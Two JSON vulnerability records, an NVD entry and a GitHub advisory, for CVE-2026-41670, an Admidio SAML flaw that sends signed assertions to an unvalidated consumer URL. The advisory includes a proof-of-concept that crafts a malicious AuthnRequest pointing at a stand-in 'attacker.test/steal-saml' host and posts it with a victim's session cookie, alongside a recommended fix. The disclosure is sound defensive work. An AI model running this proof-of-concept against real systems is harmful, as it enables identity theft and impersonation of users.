{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, the SAML IdP implementation in Admidio\u0027s SSO module uses the AssertionConsumerServiceURL value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (smc_acs_url) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary AssertionConsumerServiceURL, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL. This issue has been patched in version 5.0.9."
    }
  ],
  "id": "CVE-2026-41670",
  "lastModified": "2026-05-07T15:16:08.560",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-07T04:16:30.993",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-601"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.8"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T21:57:30Z",
    "nvd_published_at": "2026-05-07T04:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe SAML IdP implementation in Admidio\u0027s SSO module uses the `AssertionConsumerServiceURL` value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (`smc_acs_url`) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary `AssertionConsumerServiceURL`, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL.\n\n## Details\n\nThe vulnerability is in `src/SSO/Service/SAMLService.php`, in `handleSSORequest()` at lines 439-465:\n\n```php\n// Line 439: ACS URL extracted directly from the AuthnRequest (attacker-controlled)\n$clientACS = $request-\u003egetAssertionConsumerServiceURL();\n\n// ...\n\n// Line 456: Used as the Destination of the SAML Response\n$response-\u003esetDestination($clientACS);\n\n// Lines 463-465: Also used as the Recipient in SubjectConfirmationData\n$subjectConfirmationData = new \\LightSaml\\Model\\Assertion\\SubjectConfirmationData();\n$subjectConfirmationData\n    -\u003esetRecipient($clientACS) // Required recipient URL\n```\n\nThere is no code that compares `$clientACS` against the client\u0027s registered `smc_acs_url` column value. The SAML 2.0 specification and OASIS security considerations explicitly require IdPs to verify that the AssertionConsumerServiceURL matches one of the SP\u0027s registered ACS endpoints.\n\n**Signature validation is conditional and does not prevent this attack:**\n\nAt lines 417-419:\n```php\nif ($client-\u003egetValue(\u0027smc_require_auth_signed\u0027) || $client-\u003egetValue(\u0027smc_validate_signatures\u0027)) {\n    $this-\u003evalidateSignature($client, $request, $client-\u003egetValue(\u0027smc_require_auth_signed\u0027));\n}\n```\n\nIf neither `smc_require_auth_signed` nor `smc_validate_signatures` is enabled for the SP client (which is the default when creating a new client), the AuthnRequest is processed without any signature verification. This means an attacker only needs to know the SP\u0027s Entity ID (which is often publicly discoverable from the SP\u0027s metadata endpoint) to craft a malicious AuthnRequest.\n\nEven when signatures ARE validated, the ACS URL should still be checked against the registered value, because:\n- Signature validation proves the request came from the SP, not that the ACS URL is authorized\n- If the SP\u0027s signing key is compromised, the ACS URL becomes the last line of defense\n- This follows the defense-in-depth principle mandated by SAML 2.0 Profiles Section 4.1.4.1\n\n**The same pattern exists in the error response path** at lines 323-326:\n```php\n} elseif (method_exists($request, \u0027getAssertionConsumerServiceURL\u0027)) {\n    $response-\u003esetDestination($request-\u003egetAssertionConsumerServiceURL());\n} else {\n    $response-\u003esetDestination($client-\u003egetValue(\u0027smc_acs_url\u0027));\n}\n```\n\n**Attack flow:**\n1. Attacker discovers the Entity ID of a SAML client registered in Admidio (e.g., from the SP\u0027s public metadata)\n2. Attacker crafts a SAML AuthnRequest with the legitimate Entity ID but an attacker-controlled `AssertionConsumerServiceURL`\n3. Attacker sends this AuthnRequest to Admidio\u0027s SSO endpoint (via redirect or auto-submitting form)\n4. If the user is already logged in to Admidio, the IdP generates a signed SAML response with the user\u0027s identity and attributes\n5. The SAML response is POST-binding-sent to the attacker\u0027s URL via an auto-submitting HTML form rendered in the victim\u0027s browser\n6. The attacker receives the signed SAML assertion containing login name, email, full name, roles, and other profile fields\n7. The attacker can replay this SAML assertion to the legitimate SP (since it is validly signed by the IdP)\n\n## PoC\n\n```bash\n# Step 1: Generate a malicious SAML AuthnRequest\n# This is a base64-encoded SAML AuthnRequest with:\n#   - Issuer = the known Entity ID of a registered SP\n#   - AssertionConsumerServiceURL = attacker\u0027s server\n\n# Example AuthnRequest XML (before base64 encoding):\n# \u003csamlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n#   xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n#   ID=\"_test123\"\n#   Version=\"2.0\"\n#   IssueInstant=\"2026-03-17T00:00:00Z\"\n#   AssertionConsumerServiceURL=\"https://attacker.test/steal-saml\"\n#   ProtocolBinding=\"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\"\u003e\n#   \u003csaml:Issuer\u003ehttps://legitimate-sp.test/metadata\u003c/saml:Issuer\u003e\n# \u003c/samlp:AuthnRequest\u003e\n\nSAML_REQUEST=$(echo -n \u0027\u003csamlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_test123\" Version=\"2.0\" IssueInstant=\"2026-03-17T00:00:00Z\" AssertionConsumerServiceURL=\"https://attacker.test/steal-saml\" ProtocolBinding=\"urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\"\u003e\u003csaml:Issuer\u003eREGISTERED_SP_ENTITY_ID\u003c/saml:Issuer\u003e\u003c/samlp:AuthnRequest\u003e\u0027 | base64 -w 0)\n\n# Step 2: Send via HTTP-POST binding to Admidio\u0027s SSO endpoint\n# (This would typically be done by tricking a logged-in user to visit a page with an auto-submitting form)\ncurl -X POST \"https://TARGET/modules/sso/index.php/saml/sso\" \\\n  -d \"SAMLRequest=$SAML_REQUEST\" \\\n  -b \"ADMIDIO_SESSION=victim_session_cookie\"\n\n# Step 3: If the victim is logged in, Admidio will render an auto-submitting HTML form\n# that POSTs the signed SAML Response to https://attacker.test/steal-saml\n# The response contains: user login name, email, full name, roles, and any other\n# profile fields configured in the SP\u0027s field mapping\n\n# Step 4: Attacker receives the signed SAML assertion and can replay it\n# to the legitimate SP to authenticate as the victim\n```\n\n## Impact\n\n- **User Identity Theft**: The signed SAML assertion containing login credentials, email, name, and roles is sent to an attacker-controlled URL. The attacker can replay this assertion to the legitimate SP to impersonate the victim.\n- **Information Disclosure**: User profile data (email, phone, address, role memberships, and any custom profile fields configured in the SP\u0027s field mapping) is exfiltrated.\n- **Scope Change (S:C)**: The IdP vulnerability directly enables impersonation on separate Service Provider applications.\n- **No Signature Required**: When `smc_require_auth_signed` is not enabled (default), the attack requires zero knowledge of cryptographic keys -- only the SP\u0027s Entity ID.\n\n## Recommended Fix\n\nValidate the `AssertionConsumerServiceURL` from the AuthnRequest against the registered `smc_acs_url` before using it. In `src/SSO/Service/SAMLService.php`, add validation after loading the client:\n\n```php\n// After line 439: $clientACS = $request-\u003egetAssertionConsumerServiceURL();\n\n// Validate ACS URL against registered client configuration\n$registeredACS = $client-\u003egetValue(\u0027smc_acs_url\u0027);\nif (!empty($clientACS) \u0026\u0026 $clientACS !== $registeredACS) {\n    throw new Exception(\n        \u0027The AssertionConsumerServiceURL in the AuthnRequest (\"\u0027 . $clientACS . \u0027\") \u0027 .\n        \u0027does not match the registered ACS URL for this client. \u0027 .\n        \u0027Possible assertion theft attempt.\u0027\n    );\n}\n\n// If no ACS URL in request, fall back to the registered one\nif (empty($clientACS)) {\n    $clientACS = $registeredACS;\n}\n```\n\nAlso apply the same validation in the `errorResponse()` method at line 323-326:\n\n```php\n// Replace lines 323-326 with:\nif ($request instanceof LogoutRequest) {\n    $response-\u003esetDestination($client-\u003egetValue(\u0027smc_slo_url\u0027));\n} else {\n    // Always use the registered ACS URL, never the request\u0027s ACS URL\n    $response-\u003esetDestination($client-\u003egetValue(\u0027smc_acs_url\u0027));\n}\n```",
  "id": "GHSA-p9w9-87c8-m235",
  "modified": "2026-05-08T20:14:29Z",
  "published": "2026-04-29T21:57:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41670"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio Sends SAML Response to Unvalidated Assertion Consumer Service URL from AuthnRequest"
}